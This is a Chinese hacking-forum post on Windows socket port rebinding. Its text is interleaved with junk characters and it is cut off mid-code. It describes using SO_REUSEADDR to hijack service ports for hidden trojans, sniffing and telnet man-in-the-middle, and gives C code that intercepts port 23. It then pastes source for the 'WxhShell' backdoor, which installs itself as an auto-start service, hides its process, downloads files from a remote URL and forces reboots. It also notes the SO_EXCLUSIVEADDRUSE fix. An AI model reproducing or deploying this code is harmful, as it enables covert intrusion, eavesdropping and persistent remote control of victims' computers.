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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TB+k[UxB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P*~ vWYH9  
4nh=Dq[  
  saddr.sin_family = AF_INET; fF r9]  
k{N!}%*2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NX.5 u8Pf  
.8!\6=iJB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v:yU+s|kN  
y1Z>{SDiq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [w|Klq5  
_6ck@  
  这意味着什么?意味着可以进行如下的攻击: c1jR j=\  
g,]m8%GHE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J@6j^U  
t H.L_< N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #u8#< ,w  
9q_{_%G%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #ye`vD  
qIsf!1I?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6L$KMYHE  
4"(rZWv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1PUZB`"3  
,qv\Y]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L~Peerby  
-`* 'p i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m6n%?8t  
S)j( %g  
  #include :-JryiI  
  #include /W BmR R  
  #include QDJ "X  
  #include     QSY>8P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $/ IFSB9  
  int main() +,LWyvc'  
  { 4_ U"M@  
  WORD wVersionRequested; dgoAaS2M  
  DWORD ret; OoH-E.lp  
  WSADATA wsaData; .O5V;&,  
  BOOL val; *K;) ~@n  
  SOCKADDR_IN saddr; :=ek~s.UV  
  SOCKADDR_IN scaddr; 51Y%"v t  
  int err; 2HN*j~>i~  
  SOCKET s; Bps%>P~.  
  SOCKET sc; a{hc{  
  int caddsize; Hxgc9Fis  
  HANDLE mt; Q+9:]Bt  
  DWORD tid;   ".(vR7u'  
  wVersionRequested = MAKEWORD( 2, 2 ); D_czUM  
  err = WSAStartup( wVersionRequested, &wsaData ); prz COw  
  if ( err != 0 ) { ~U"m"zpLP  
  printf("error!WSAStartup failed!\n"); &s vg<UZ  
  return -1; bHv"!  
  } ?{B5gaU9F  
  saddr.sin_family = AF_INET; p8%qU>~+4  
   2*z~ 'i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uMZ~[S z  
<%S)6cw(3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3J &R os  
  saddr.sin_port = htons(23); dVEs^ZtI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eDZ8F^0  
  { \?T9 v  
  printf("error!socket failed!\n"); zHX\h [0f  
  return -1; Jl`^`Yv  
  } =zK4jiM1  
  val = TRUE; 4hwb] Yz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J#F5by%8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *0!p_Hco  
  { Hf]:m hH  
  printf("error!setsockopt failed!\n"); 9AX}V6\+  
  return -1; n2B%}LLa  
  } 1?FG3X 5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DMG~56cTO,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /ta}12Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A%W]XEa<  
)PP yJ@M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8e*skL  
  { K%\r[NF  
  ret=GetLastError(); yT@Aj;X0v  
  printf("error!bind failed!\n"); h' !C  
  return -1; ?0qD(cfx<  
  } pS ](Emn`.  
  listen(s,2); :)lG}c  
  while(1) e,e(t7c?d  
  { 'QT~o-U  
  caddsize = sizeof(scaddr); ?`Yu~a{  
  //接受连接请求 .k]`z>uv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (is',4^b  
  if(sc!=INVALID_SOCKET) $It mYj.m  
  { D0FX"BY7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3P2{M}WIl  
  if(mt==NULL) :&vX0 Ce:  
  { ?IHt T3'Rt  
  printf("Thread Creat Failed!\n"); uv/\1N;V3  
  break; jj2iF/  
  } Intuda7e1  
  } b},2A'X  
  CloseHandle(mt); G^k'sgy.  
  } 5+M,X kg  
  closesocket(s);  5cIZ_#  
  WSACleanup(); EyA ny\"  
  return 0; <}{<FXk[  
  }   )-)rL@s.  
  DWORD WINAPI ClientThread(LPVOID lpParam) MOaI~xZ  
  { iF^qbh%%E  
  SOCKET ss = (SOCKET)lpParam; ^:{8z;w!(  
  SOCKET sc; yogavCD9b/  
  unsigned char buf[4096]; \(i'iC  
  SOCKADDR_IN saddr; l[$GOLeS  
  long num; cj>UxU][eS  
  DWORD val; 72OqXa*  
  DWORD ret; 7! >0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z!3=.D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qy"Jt]O  
  saddr.sin_family = AF_INET; &S{r;N5u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,XEIg  
  saddr.sin_port = htons(23); FprdP*/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]{6/6jl  
  { u>fMO9X} 2  
  printf("error!socket failed!\n"); wkx9@?2*  
  return -1; %@Gy<t,  
  } \s*UUODWK  
  val = 100; B.r^'>jQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) spfW)v/T!  
  { D wJ^ W&*  
  ret = GetLastError(); mBErU6?X,A  
  return -1; (`dz3 7@*  
  } BrE#.g Jq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GB|>eZLv<  
  { > k\pSV[  
  ret = GetLastError(); @\y{q;  
  return -1; O] PM L`  
  } _,L_H[FN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &6vaLx  
  { [WR"#y  
  printf("error!socket connect failed!\n"); !YAX.e  
  closesocket(sc); 5,gT|4|B\g  
  closesocket(ss); (&SU)Uvu  
  return -1; ~6t!)QATnp  
  } $vu*# .w  
  while(1) -n9&W  
  { e&z@yy$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0!3. .5==  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OK80-/8HI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <(jk}wa<  
  num = recv(ss,buf,4096,0); 00 x -  
  if(num>0) ]%A> swCpn  
  send(sc,buf,num,0); dBd7#V:}yV  
  else if(num==0) )ovAGO  
  break; $~b6H]"9  
  num = recv(sc,buf,4096,0); i`gM> q&  
  if(num>0) <4Gy~?  
  send(ss,buf,num,0); Nf )YG!  
  else if(num==0) v=@y7P1  
  break; r5~ W/eE  
  } @bA5uY!  
  closesocket(ss); -fPiHKJ  
  closesocket(sc); 3UUdJh<~  
  return 0 ; \:J=tAC  
  } c},pu[nL  
5FR#CQ  
x9 Z89Gwi  
========================================================== XZKlE F?  
{nwoJ'-V  
下边附上一个代码,,WXhSHELL {jO+N+Ez9  
F `o9GLxM}  
========================================================== 1GK.:s6.f  
/X_L>or  
#include "stdafx.h" Jo\MDyb]  
Z|E9}Il]  
#include <stdio.h> N5*Q nb8  
#include <string.h> 4tCM 2it%  
#include <windows.h> Vr},+Rj  
#include <winsock2.h> I*N"_uKU  
#include <winsvc.h> -NJpql{Cb  
#include <urlmon.h> t/;0/ql\  
|qMG@  
#pragma comment (lib, "Ws2_32.lib") I #1~CbR  
#pragma comment (lib, "urlmon.lib") i1uoYb?4(I  
ni2#20L  
#define MAX_USER   100 // 最大客户端连接数 :+/8n+@#  
#define BUF_SOCK   200 // sock buffer vT Eq T  
#define KEY_BUFF   255 // 输入 buffer 4 -tC=>>wc  
S&}7XjY  
#define REBOOT     0   // 重启 {d[Nc,AMb  
#define SHUTDOWN   1   // 关机 g}0K@z3  
U&#` <R_0  
#define DEF_PORT   5000 // 监听端口 0]SWyC :  
3l<qcKKc  
#define REG_LEN     16   // 注册表键长度 T]wI)  
#define SVC_LEN     80   // NT服务名长度 1M&Lb. J6  
>Y08/OAI.2  
// 从dll定义API OCrTzz8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V#w$|2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _+B y=B.'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P#hRqETw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h]s6)tI I  
XA!a^@<H  
// wxhshell配置信息 3l?|+sU >O  
struct WSCFG { AT1cN1:4?  
  int ws_port;         // 监听端口 ndLEIqOY  
  char ws_passstr[REG_LEN]; // 口令  ,RR{Y-  
  int ws_autoins;       // 安装标记, 1=yes 0=no A6=Z2i0w>X  
  char ws_regname[REG_LEN]; // 注册表键名 |,,#DSe  
  char ws_svcname[REG_LEN]; // 服务名 gttsxOgktH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h,Hr0^?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yDqwz[v b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iKaX8c,zI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8s6[-F5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "?zWCH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zj r($?  
eV*QUjS~  
}; rtS cQ  
A.r7 ks  
// default Wxhshell configuration &b#d4p6&l  
struct WSCFG wscfg={DEF_PORT, U6/7EOW,  
    "xuhuanlingzhe", 5&s6(?,Eu  
    1, @ 3=pFYW)  
    "Wxhshell", F[}#7}xjA  
    "Wxhshell", {'4#{zmp  
            "WxhShell Service", eWDXV-xD  
    "Wrsky Windows CmdShell Service", @}4>:\es  
    "Please Input Your Password: ", /^xv1F{  
  1, ZFtR#r(~41  
  "http://www.wrsky.com/wxhshell.exe", 4N,[Gs<7  
  "Wxhshell.exe" *Vl#]81~  
    }; KhWy  
x >ah,  
// 消息定义模块 {nmu(E P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G{: B'08  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Xwk8<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YxM\qy {Vr  
char *msg_ws_ext="\n\rExit."; V5lUh#@TN&  
char *msg_ws_end="\n\rQuit."; #k9&OS?  
char *msg_ws_boot="\n\rReboot..."; [ ojL9.6  
char *msg_ws_poff="\n\rShutdown..."; c(=>5  
char *msg_ws_down="\n\rSave to "; &$|~",  
>;Hx<FKxP  
char *msg_ws_err="\n\rErr!"; \YzKEYx+  
char *msg_ws_ok="\n\rOK!"; : 2%eh  
:(XyiF<Ud  
char ExeFile[MAX_PATH]; TQO|C?  
int nUser = 0; G@DNV3Cc  
HANDLE handles[MAX_USER]; f0 g/`j@Up  
int OsIsNt; n@+?tYk*e  
W\Pd:t  
SERVICE_STATUS       serviceStatus; IB# ua:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HVA:|Z19  
7=N%$]DKZ  
// 函数声明 4C?{p%3c  
int Install(void); M%_*vD  
int Uninstall(void); !f(A9V  
int DownloadFile(char *sURL, SOCKET wsh); 7kV$O(4  
int Boot(int flag); oA5Qk3b:  
void HideProc(void); 5 b rM..  
int GetOsVer(void); Kc[^Pu  
int Wxhshell(SOCKET wsl); R7rM$|n=o  
void TalkWithClient(void *cs);  _:\rB  
int CmdShell(SOCKET sock); Q(<A Yu  
int StartFromService(void); 'G65zz  
int StartWxhshell(LPSTR lpCmdLine); sBZn0h@  
?M'CTz}<\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |[n\'Xy;{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); --y,ky#  
\{<ml n  
// 数据结构和表定义 D-@6 hWh~  
SERVICE_TABLE_ENTRY DispatchTable[] = Ru`afjc  
{ 5*2hTM!  
{wscfg.ws_svcname, NTServiceMain}, ?:/J8s [O  
{NULL, NULL} ]uFJ~ :R  
}; ti GH#~?  
pHR`%2!"t  
// 自我安装 \ R}I4'  
int Install(void) $DH/  
{ &c-V QP(  
  char svExeFile[MAX_PATH]; vVtkB$]L  
  HKEY key; WrwbLlE  
  strcpy(svExeFile,ExeFile); mIf)=RW  
BsXF'x<U*  
// 如果是win9x系统,修改注册表设为自启动 P4"BX*x  
if(!OsIsNt) { ij] ~n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9HR1m 3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b [HnhAI  
  RegCloseKey(key); x=>dmi3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O=U,x-Wl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kVsX/ ~$  
  RegCloseKey(key); G$YF0Nc  
  return 0; <P1nfH  
    } R5b,/>^'A  
  } MMjewGxe  
} ):G+*3yb  
else { /|U;_F Pmc  
+xIVlH9`Q  
// 如果是NT以上系统,安装为系统服务 ;gEEdx'&T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q-h< av9  
if (schSCManager!=0) =UO7!vr;[  
{ T#rUbi>""  
  SC_HANDLE schService = CreateService &O+S [~  
  ( |b@`ykD  
  schSCManager, tPiC?=4R  
  wscfg.ws_svcname, v89tV9O)  
  wscfg.ws_svcdisp, " xC$Ko _  
  SERVICE_ALL_ACCESS, w\ '5l k,"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M GC=L .  
  SERVICE_AUTO_START, :Hitx  
  SERVICE_ERROR_NORMAL, SKf;Fe  
  svExeFile, M"c=_5P  
  NULL, )LG!"~qiz  
  NULL, 8B6(SQp%  
  NULL, U{EcV%C2  
  NULL, oSYJXs  
  NULL 71(ppsHk  
  ); Ld:-S,2  
  if (schService!=0) a$uD oi  
  { 6G4~-_  
  CloseServiceHandle(schService); xPF.c,6b4=  
  CloseServiceHandle(schSCManager); #lFsgb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }:?_/$};  
  strcat(svExeFile,wscfg.ws_svcname); D'g@B.fXd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?jO<<@*2S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;YokPiBy  
  RegCloseKey(key); : [?7,/w  
  return 0; D@w&[IF  
    } /FTP8XHwL)  
  } (Ms #)E  
  CloseServiceHandle(schSCManager); ?aaYka]  
} ]S(nA!]  
} MYJDfI  
KxmB$x5-=8  
return 1; l;z+E_sQ  
} )@ B !  
vG}\Amx+  
// 自我卸载 sWA-_4  
int Uninstall(void) j bOwpyH  
{ V:D?i#%,z  
  HKEY key; aQWg?,Ju6  
5#_GuL%  
if(!OsIsNt) { V+' zuX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Y^B{bh  
  RegDeleteValue(key,wscfg.ws_regname); bneP>Bd  
  RegCloseKey(key); A{{rNbCK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z~ q="CA4  
  RegDeleteValue(key,wscfg.ws_regname); 0 n{+_   
  RegCloseKey(key); H5FWk  
  return 0; g$=']A?W_  
  } jxw8jo06:  
} *W}nw$tnBX  
} JDpW7OrDc  
else { F%ukT6xp  
slA~k;K:_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A9HgABhax  
if (schSCManager!=0) 0}_1 ZU  
{ sZa>+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r_^]5C\  
  if (schService!=0) 1- GtZ2  
  { $KRpu<5i}  
  if(DeleteService(schService)!=0) { YTe8C9eO  
  CloseServiceHandle(schService); mk-L3H1@J3  
  CloseServiceHandle(schSCManager); tp V61L   
  return 0; @!\lt$  
  } )Zyw^KN^  
  CloseServiceHandle(schService); &~)1mnv.  
  } pR:cnkVF  
  CloseServiceHandle(schSCManager); S`spUq1o  
} 8 =3#S'n  
} [HRP&jr  
Xs4G#QsA J  
return 1; (a|Wq{`[  
} \$8p8MP<&D  
"X1{*  
// 从指定url下载文件 /h!iLun7I  
int DownloadFile(char *sURL, SOCKET wsh) v Dph}Z  
{ bsWDjV~  
  HRESULT hr; o[G,~f\-  
char seps[]= "/"; P-N+  
char *token; U,2\ TBz  
char *file; b\"2O4K,)  
char myURL[MAX_PATH]; F>q%~  
char myFILE[MAX_PATH]; B&lF! ]  
}PzYt~Z`@  
strcpy(myURL,sURL); rI]n4>k{  
  token=strtok(myURL,seps); D7N` %A8   
  while(token!=NULL) {<^PYN>`  
  { '6>nXp?)r  
    file=token; ps]s Tw  
  token=strtok(NULL,seps); J}&xS<  
  } J@9E20$  
<Y#EiC.  
GetCurrentDirectory(MAX_PATH,myFILE); /I#SP/M&l  
strcat(myFILE, "\\"); %$(*.o!+8  
strcat(myFILE, file); }15ooe%  
  send(wsh,myFILE,strlen(myFILE),0); 0'y3iar  
send(wsh,"...",3,0); c:`&QDF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /aMeKM[L`  
  if(hr==S_OK) 6n.C!,Zmn  
return 0; DO=zxdTI!  
else -}<W|r  
return 1; cW, 6 MAQo  
R$ 40cW3`  
}  ^pZ\:  
|(1z ?Spbe  
// 系统电源模块 N|WR^MQD  
int Boot(int flag) Y]1b3 9O  
{ )e:u 6]  
  HANDLE hToken; uJHf6Ye  
  TOKEN_PRIVILEGES tkp; >RT02Ey>  
R<-(  
  if(OsIsNt) { #%tN2cFDN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zFV?,"\r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "^@0zy@x  
    tkp.PrivilegeCount = 1; 4#@zn 2l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s@bo df&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X5D}<J2"  
if(flag==REBOOT) { JS1''^G&.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [VwoZX:  
  return 0; (%EhkTb  
} IE9A _u*  
else { x k5Z&z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /7<l`RSr  
  return 0; [L@ vC>G  
} H23-%+*J  
  } -^LEGKN  
  else { H<YS2Ed  
if(flag==REBOOT) { O>`DR0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8CKI9  
  return 0; lGr(GHn  
} Doy7prKI8  
else { Obu>xK(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0dgp<  
  return 0; m48m5>  
} 5*pCb,z>q  
} J$D#)w!$j  
QR($KW(  
return 1; /A;!g5Y  
} `!\`yI$!%w  
BI-xo}KI  
// win9x进程隐藏模块 @{!c [{x,T  
void HideProc(void) 0X3kVm <  
{ m[FH>  
\?e{/hXnl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @t6B\ ?4'T  
  if ( hKernel != NULL ) E=Z .v  
  { 7a}vb@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jtxwt[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KfsURTZ  
    FreeLibrary(hKernel); 0x\bDWZ_  
  } d&QB?yLd  
4c*?9r@  
return; 257pO9]  
} K$dSg1t  
uMToVk`Uv  
// 获取操作系统版本 x 2\ ,n  
int GetOsVer(void) gSP]& _9j  
{ Z!P7mH\c}  
  OSVERSIONINFO winfo; #?Z>o16,u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p ] V  
  GetVersionEx(&winfo); CD'.bFO^+T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [wJM=` !W  
  return 1; "+iPeRF!hU  
  else Uv~r]P)  
  return 0; Fcc\hV;  
} OsMU>v }m  
)B86  
// 客户端句柄模块 LwV4p6A  
int Wxhshell(SOCKET wsl) #MbkU])  
{ I5l5fx  
  SOCKET wsh; eot]VO:  
  struct sockaddr_in client; *E0dCY$  
  DWORD myID; XrY\ot`,D  
'`#sOH  
  while(nUser<MAX_USER) N,9W18 @  
{ (*>%^C?  
  int nSize=sizeof(client); 7cTDbc!E-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |kPjjVGF{  
  if(wsh==INVALID_SOCKET) return 1; fz[o;GTc  
8LI,'XZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WdEVT,jjh  
if(handles[nUser]==0) :C*7 DS  
  closesocket(wsh); /a}F ;^  
else .v?x>iV  
  nUser++; [&e|:1  
  } cI~uI '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .g L%0  
=P}ob eY  
  return 0; 'aYUF&GG  
} x3j)'`=15  
^O#>LbM"x  
// 关闭 socket }^!8I7J.  
void CloseIt(SOCKET wsh)  n7g}u  
{ w;@NYMK)  
closesocket(wsh); z'=8U@P'#  
nUser--; a_jw4"Sb  
ExitThread(0); T?vM\o%i3  
} RLy(Wz3%  
1b^e4  
// 客户端请求句柄 CD}::7$  
void TalkWithClient(void *cs) GM_~2Er]  
{ ~s3X&!#   
BlwAD  
  SOCKET wsh=(SOCKET)cs; ]Sj<1tx7f  
  char pwd[SVC_LEN]; M]c"4 b;  
  char cmd[KEY_BUFF]; c`S`.WID  
char chr[1]; j)G<PW  
int i,j; lZ5LHUzP  
k }amSsE  
  while (nUser < MAX_USER) { f4%Z~3P  
Z^tTR]u\$  
if(wscfg.ws_passstr) { LxdF;JCz:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #`Af  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y vIeK6  
  //ZeroMemory(pwd,KEY_BUFF); G>siyUh  
      i=0; B*0TM+  
  while(i<SVC_LEN) { Y -yozt  
#mT\B[4h  
  // 设置超时 .r ,wc*SF  
  fd_set FdRead; Pz\4#E]  
  struct timeval TimeOut; (G1KMy  
  FD_ZERO(&FdRead); 8jBrD1  
  FD_SET(wsh,&FdRead); bVLBqa=  
  TimeOut.tv_sec=8; 5 [GdFd>{  
  TimeOut.tv_usec=0; n["G ry  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &`@S_YLr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]rNM3@bVy  
KgD sqwy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0tz7^:|D  
  pwd=chr[0]; 5#275Hyv  
  if(chr[0]==0xd || chr[0]==0xa) { W;Y"J_  
  pwd=0; ;$nCQ/ /  
  break; 0P_=Oy"l-  
  } /penB[ 1i  
  i++; NL^;C3u  
    } PiwMl)E|!  
|WkWZZ^  
  // 如果是非法用户,关闭 socket V;pR w`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1tZ7%0R\g]  
} X%C`('"R  
7sX#6`t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CMhl*dH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6o:b(v&Oo  
MnL o{G]  
while(1) { *x!j:/S`n  
B~ ?R 6  
  ZeroMemory(cmd,KEY_BUFF); h5)4Z^n  
H*.v*ro9_  
      // 自动支持客户端 telnet标准   K#%@4]jO3  
  j=0; C.|.0^5  
  while(j<KEY_BUFF) { q1^bH 6*fl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;S_Imf0$v  
  cmd[j]=chr[0]; X-4(oE  
  if(chr[0]==0xa || chr[0]==0xd) { iv!;gMco  
  cmd[j]=0; +X%pUe  
  break; c9ye[81  
  } ge#0Q L0K  
  j++; 5)c B\N1u  
    } Lo<WK  
G1 K@Ir<  
  // 下载文件 a S;z YD  
  if(strstr(cmd,"http://")) { PIHix{YR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <)$e*HrI  
  if(DownloadFile(cmd,wsh)) XQ'$J_hC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]L4`.HM  
  else o[aP+O Md  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9oj#5Hq  
  } 9GX'+$R]  
  else { FfRvi8  
Od("tLIO}I  
    switch(cmd[0]) { t5aX9WIW  
  pP-L{bT  
  // 帮助 (VM.]B<  
  case '?': { G_QV'zQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6ys|'<?  
    break; IKrojK8-?  
  } Y1wH_!%b  
  // 安装 %ONU0xtqk  
  case 'i': { J4]tT pu"K  
    if(Install()) !59,<N1Iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q<Q?#v7NX  
    else 0 wjL=]X1e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l3Qt_I)L  
    break; V.e30u5  
    } 5yL\@7u`  
  // 卸载 g [u*`]-;v  
  case 'r': { :bq$ {  
    if(Uninstall()) *L&|4|BF2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M?00n< vM  
    else =B{B ?B"r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \"a~~Koe  
    break; B)x^S >  
    } 3:aj8F2  
  // 显示 wxhshell 所在路径 QQ/9ZI5  
  case 'p': { (GoxiX l  
    char svExeFile[MAX_PATH]; jL{k!V`s  
    strcpy(svExeFile,"\n\r"); 84lT# ^q  
      strcat(svExeFile,ExeFile); &s{d r  
        send(wsh,svExeFile,strlen(svExeFile),0); U6F7dT  
    break; N^{}Qvrr  
    } _oHxpeM  
  // 重启 P\y ZcL  
  case 'b': { 0Of6$`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C';Dc4j  
    if(Boot(REBOOT)) v]'\]U^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uovSe4q5q  
    else { *m8{yh  
    closesocket(wsh); $WiU oS  
    ExitThread(0); ^KJi |'B  
    } A6 I^`0/  
    break; @8Cja.H  
    } <M,<|Y*)  
  // 关机 ?L|Ai\|  
  case 'd': { )43z(:<  
